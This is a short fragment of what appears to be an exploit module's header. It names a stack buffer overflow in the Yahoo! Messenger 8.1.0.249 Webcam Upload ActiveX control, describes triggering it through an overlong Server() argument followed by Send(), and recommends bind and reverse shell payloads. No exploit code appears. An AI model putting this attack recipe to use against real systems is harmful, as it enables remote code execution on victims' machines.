'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX

Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.

By sending a overly long string to the "Server()" method, and then calling

the "Send()" method, an attacker may be able to execute arbitrary code.

Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"

yield for the best results.
